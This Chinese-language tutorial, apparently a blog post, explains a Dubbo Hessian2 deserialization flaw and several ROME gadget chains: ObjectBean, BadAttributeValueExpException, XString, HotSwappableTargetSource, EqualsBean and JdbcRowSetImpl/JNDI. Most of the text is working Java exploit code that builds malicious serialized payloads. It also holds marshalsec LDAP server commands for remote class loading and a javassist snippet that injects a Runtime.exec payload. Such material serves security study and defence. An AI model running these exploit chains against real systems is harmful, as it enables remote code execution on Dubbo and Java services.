Dubbo<=2.7.14如果Hessian2进行反序列化时抛出异常，则会进行字符串拼接操作，进而调用obj的toString()方法。类似的拼接在许多类中都有涉及，这里方便利用的是Hessian2Input.except方法。protected IOException expect(String expect, int ch) throws IOException { if (ch < 0) { return this.error("expected " + expect + " at end of file"); } else { --this._offset; try { int offset = this._offset; String context = this.buildDebugContext(this._buffer, 0, this._length, offset); Object obj = this.readObject(); return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null"); } catch (Exception var6) { log.log(Level.FINE, var6.toString(), var6); return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255)); } } }关键在于构造出一段畸形的恶意序列化流，使其在反序列化过程中抛出异常进入Hessian2Input.except中的字符串拼接很多read打头的方法都调用了except方法，那就找一条能用的就行，这里选用的是readString()public String readString() throws IOException { int tag = this.read(); int ch; switch (tag) { case 0: case 1: case 2: case 3: case 4: // ... case 31: this._isLastChunk = true; this._chunkLength = tag - 0; this._sbuf.setLength(0); while((ch = this.parseChar()) >= 0) { this._sbuf.append((char)ch); } return this._sbuf.toString(); case 32: case 33: case 34: case 35: case 36: case 37: case 38: case 39: case 40: case 41: case 42: case 43: case 44: case 45: case 46: case 47: case 52: case 53: case 54: case 55: case 64: case 65: case 66: case 67: case 69: case 71: case 72: case 74: case 75: case 77: case 79: case 80: case 81: case 85: case 86: case 87: case 88: case 90: case 96: case 97: case 98: // ... case 127: default: throw this.expect("string", tag); case 48: case 49: // ... } }如果tag满足case 32:及以下到default:的任何一个条件或者完全不满足任何一个default:之前的条件语句，也就是说让tag在switch语句中失配，就会进入default分支的except方法查看哪里调用了readString()，可以找到readObjectDefinition()，恰好这个方法当tag等于67时会被readObject()调用，那这里就连起来了private void readObjectDefinition(Class<?> cl) throws IOException { String type = this.readString(); int len = this.readInt(); SerializerFactory factory = this.findSerializerFactory(); Deserializer reader = factory.getObjectDeserializer(type, (Class)null); Object[] fields = reader.createFields(len); String[] fieldNames = new String[len]; for(int i = 0; i < len; ++i) { String name = this.readString(); fields[i] = reader.createField(name); fieldNames[i] = name; } ObjectDefinition def = new ObjectDefinition(type, reader, fields, fieldNames); this._classDefs.add(def); }如何让tag为67了，可以重写 writeString 指定第一次 read 的 tag 为 67, 还可以给序列化得到的bytes数组前加一个67package hessian; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.ToStringBean; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.sql.SQLException; public class Dubbo_Hessian2_rome_jdbc { public static void main(String[] args) throws IOException, SQLException { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://localhost:9999/test"; jdbcRowSet.setDataSourceName(url); ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeObject(bean); hessian2Output.close(); byte[] data = byteArrayOutputStream.toByteArray(); byte[] poc = new byte[data.length + 1]; System.arraycopy(new byte[]{67}, 0, poc, 0, 1); System.arraycopy(data, 0, poc, 1, data.length); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(poc); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); System.out.println(hessian2Input.readObject()); hessian2Input.close(); } }这样就可以调用任意类的toString()方法，这里用的rome。在通信时dubbo客户端会使用decode函数从客户端传来的二进制流中逐步获取RPC信息 public Object decode(Channel channel, InputStream input) throws IOException { ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input); //获取版本信息 String dubboVersion = in.readUTF(); this.request.setVersion(dubboVersion); this.setAttachment("dubbo", dubboVersion); //获取路径 String path = in.readUTF(); setAttachment(PATH_KEY, path); setAttachment(VERSION_KEY, in.readUTF()); ...最后的readUTF方法调用了readString。然后就是构造出畸形的序列化数据，让readString进入except方法。
ROME反序列化ROMEROME是主要用于解析RSS和Atom种子的一个Java框架。ROME支持绝大多数的RSS协议。可以从一种格式转换成另一种格式，也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。他有个特殊的位置就是ROME提供了ToStringBean这个类，提供深入的toString方法对Java Bean进行操作。依赖：<dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>基本原理ToStringBeanRome包中的com.sun.syndication.feed.impl.ToStringBean类中，提供了toString()方法，其中有两个toString()一个有参一个无参无参toString主要是获取_obj的类名并作为参数调用有参toString有参toString可以分三布，第一步getPropertyDescriptors，获取_beanClass中的getter、setter方法，跟进getPropertyDescriptors可以看到其中调用getPDs()方法跟进getPDs()，又调用了其他有参构造获取了其中的getter、setter方法，之后将其合并赋给list属性pds，并将其转换为数组形式返回获取pds返回值中的方法名和方法之后就会Object value = pReadMethod.invoke(_obj,NO_PARAMS);反射调用该方法_obj类的该方法因此如果有对象在反序列化过程中会调用任意对象的 toString() 方法，就可以调用其他任意对象的 getter() 方法。例如在cc3链中讲到的TemplatesImpl利用链就是利用了TemplatesImpl#getOutputProperties()这个getter方法demopackage rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.Base64; public class common { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode("[binary]"); setValue(templatesimpl, "_name", "whatever"); setValue(templatesimpl, "_bytecodes", new byte[][]{code}); // 这里对_tfactory的反射赋值在反序列化链中可以不写这步，因为反序列化过程中TemplatesImpl#readObject()会对该值初始化，但Demo是直接调用toString()的 // _tfactory 需要是一个TransformerFactoryImpl对象 // 因为TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap()如果是null会出错 setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class, templatesimpl); toStringBean.toString(); } public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } } 利用链ObjectBean链这条链是Rome反序列化的原型，由ysoserial 作者提出TemplatesImpl.getOutputProperties() ToStringBean.toString(String) ToStringBean.toString() EqualsBean.beanHashCode() EqualsBean.hashCode() HashMap<K,V>.hash(Object) HashMap<K,V>.readObject(ObjectInputStream)开始于HashMap#put()，如URLDNS链一般，会调用hashCode()而ObjectBean#hashCode()中会调用调用EqualsBean#beanhashCode()public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) { this._equalsBean = new EqualsBean(beanClass, obj); this._toStringBean = new ToStringBean(beanClass, obj); this._cloneableBean = new CloneableBean(obj, ignoreProperties); } // ... public int hashCode() { return this._equalsBean.beanHashCode(); }public EqualsBean(Class beanClass, Object obj) { if (!beanClass.isInstance(obj)) { throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass); } else { this._beanClass = beanClass; this._obj = obj; } } // ... public int beanHashCode() { return this._obj.toString().hashCode(); }EqualsBean#beanhashCode()调用toString()到ToStringBeanexp:package rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class ObjectBeanROme { public static void main(String[] args) throws Exception { byte[] code = Base64.getDecoder().decode("[binary]"); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_name", "whatever"); setFieldValue(obj, "_class", null); setFieldValue(obj, "_bytecodes", new byte[][]{code}); ToStringBean bean = new ToStringBean(Templates.class, obj); ObjectBean objectBean = new ObjectBean(String.class, "whatever"); HashMap map = new HashMap(); map.put(objectBean, ""); // HashMap的put()时，会调用hash() -> hashCode()，因此需要put时先传入无害数据，在通过反射来修改_equalsBean为恶意的。 setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean)); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } } BadAttributeValueExpException链cc5中就利用它触发TiedMapEntry类的 toString() 方法BadAttributeValueExpException#readobject()，在最后调用了toString()方法，并且它的val属性我们可以通过反射修改，那就可以直接触发到ToStringBean中的toString方法package rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ToStringBean; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; public class BadAttributeValueExpExceptionRome { public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode("[binary]"); setFieldValue(obj,"_name","whatever"); setFieldValue(obj,"_bytecodes",new byte[][]{code}); setFieldValue(obj,"_class",null); ToStringBean bean = new ToStringBean(Templates.class, obj); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); setFieldValue(badAttributeValueExpException,"val",bean); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } } XString链com.sun.org.apache.xpath.internal.objects.XString是用于处理 XPath 相关操作的类HashMap.readObject() -> XString.equals() -> 任意调 toString() HashMap#readObject()触发putVal(),跟进putVal()，调用equals方法由此处触发XString#equals()调用任意对象的toString方法public boolean equals(Object obj2) { if (null == obj2) return false; // In order to handle the 'all' semantics of // nodeset comparisons, we always call the // nodeset function. else if (obj2 instanceof XNodeSet) return obj2.equals(this); else if(obj2 instanceof XNumber) return obj2.equals(this); else return str().equals(obj2.toString()); //######### }package rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import static org.example.Tools.*; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class XStringRome { public static void main(String[] args) throws Exception { // byte[] code = Base64.getDecoder().decode("[binary]"); byte[] code = getBytes("rome.evil"); TemplatesImpl templates = new TemplatesImpl(); setValue(templates, "_name", "whatever"); setValue(templates, "_bytecodes", new byte[][]{code}); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); XString xString = new XString("whatever"); // yy 与 zZ 的 hashCode() 相同，因此才会触发 HashMap 去重操作 // 这里添加的顺序也比较重要，要不然就反了 Map map1 = new HashMap(); map1.put("yy", toStringBean); map1.put("zZ", xString); Map map2 = new HashMap(); map2.put("yy", xString); map2.put("zZ", toStringBean); Map map = new HashMap(); map.put(map1, 1); map.put(map2, 2); setValue(toStringBean, "_beanClass", Templates.class); setValue(toStringBean, "_obj", templates); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } } HotSwappableTargetSource链HotSwappableTargetSource 是 Spring 框架中的一个类，属于 Spring AOP（Aspect-Oriented Programming） 组件，通常用于动态切换目标对象。它位于 spring-aop 依赖中<dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.3.30</version> </dependency>这里equals()前后有两个target，这就需要构造两个HotSwappableTargetSource实例，左边为XString，右边为ToStringBean然后再找一个equals来触发它，感觉有点多余（比如用HashMap的readObject()）package rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import org.springframework.aop.target.HotSwappableTargetSource; import static org.example.Tools.*; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; import static org.example.Tools.getBytes; public class HotSwappableTargetSourceRome { public static void main(String[] args) throws Exception { byte[] code = getBytes("rome.evil"); TemplatesImpl templates = new TemplatesImpl(); setValue(templates, "_name", "whatever"); setValue(templates, "_bytecodes", new byte[][]{code}); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1")); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean); // yy 与 zZ 的 hashCode() 相同，因此才会触发 HashMap 去重操作 Map map1 = new HashMap(); map1.put("yy", hotSwappableTargetSource2); map1.put("zZ", hotSwappableTargetSource1); Map map2 = new HashMap(); map2.put("yy", hotSwappableTargetSource1); map2.put("zZ", hotSwappableTargetSource2); Map map = new HashMap(); map.put(map1, 1); map.put(map2, 2); setValue(toStringBean, "_beanClass", Templates.class); setValue(toStringBean, "_obj", templates); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } } 或者说这个package rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import org.springframework.aop.target.HotSwappableTargetSource; import static org.example.Tools.*; import javax.xml.transform.Templates; import java.util.Base64; import java.util.HashMap; public class HotSwappableTargetSourceRome2 { public static void main(String[] args) throws Exception{ byte[] bytes = getBytes("rome.evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "whatever"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); ToStringBean toStringBean = new ToStringBean(Templates.class,templates); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1")); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean); HashMap hashMap = new HashMap(); hashMap.put(hotSwappableTargetSource2,"1"); hashMap.put(hotSwappableTargetSource1,"1"); byte[] serialize = serialize(hashMap); System.out.println(new String(Base64.getEncoder().encode(serialize))); unserialize(serialize); } } EqualsBean 无ToStringBean链前边的所有方式都用到了ToStringBean这条链，但若该类被加入了黑名单，则可用EqualsBean中的beanEquals()方法 这里用cc7的调用equals 的方法，调用的是value的equals()，因此value要设置为EqualsBean类型，而equals()中的参数在beanEquals()中会判断是否为_beanClass的子类或子类实例，_beanClass根据前边的经验是Templates类型的，因此equals()中的参数也要是Templates类型map1.put("yy",equalsBean); map1.put("zZ",templates); map2.put("zZ",equalsBean); map2.put("yy",templates);EqualsBean equalsBean = new EqualsBean(String.class, "aaa");先无害化处理package rome; import static org.example.Tools.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import javax.xml.transform.Templates; import java.util.HashMap; import java.util.Hashtable; public class EqualsBeanRome { public static void main(String[] args) throws Exception { byte[] bytes = getBytes("rome.evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); EqualsBean equalsBean = new EqualsBean(String.class, "aaa");// 这里先设无害的参数，要不然执行后会抛出异常结束进程 HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",equalsBean); map1.put("zZ",templates); map2.put("zZ",equalsBean); map2.put("yy",templates); //Hashtable hashtable = new Hashtable(); //这里HashMap和Hashtable都可以的 HashMap hashtable = new HashMap(); hashtable.put(map1,"1"); hashtable.put(map2,"1"); setFieldValue(equalsBean,"_beanClass",Templates.class); setFieldValue(equalsBean,"_obj",templates); byte[] serialize = serialize(hashtable); unserialize(serialize); } } JdbcRowSetImpl链还是用ToStringBean#toString的触发方式，后边可以调用任意对象的getter方法，结合JNDI注入就可以调用JdbcRowSetImpl#getDatabaseMetaData()，在JdbcRowSetImpl的getDatabaseMetaData()会调用connect()，触发lookup()进行远程类加载lookup()中参数可控，可通过对应的Setter方法进行赋值由于getDatabaseMetaData()是以get开头，因此在ToStringBean的toString()，可通过循环反射调用还是用HashMap调用hashCode()的方式触发python -m http.server 7777 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999package rome; import static org.example.Tools.*; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.Base64; import java.util.HashMap; public class JdbcRowSetImplRome { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://127.0.0.1:9999/test"; jdbcRowSet.setDataSourceName(url); ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); ObjectBean objectBean = new ObjectBean(String.class, "whatever"); HashMap map = new HashMap(); map.put(objectBean, ""); setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean)); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } } 利用Javassist缩短payload我们使用的恶意类，由于必须继承自AbstractTranslet方法,因此对其的两个transform方法进行了重写,添加了payload的长度.javassist是用来动态修改字节码的,可以通过javassist跳过编译去构建一个class文件.String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; // 创建EvilTest对象，父类为AbstractTranslet，注入了payload进静态代码块 ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池 classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径 CtClass payload = classPool.makeClass("EvilTest"); // 创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置EvilTest的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法，并插入runtime byte[] code = payload.toBytecode();得到大大减少了poc的长度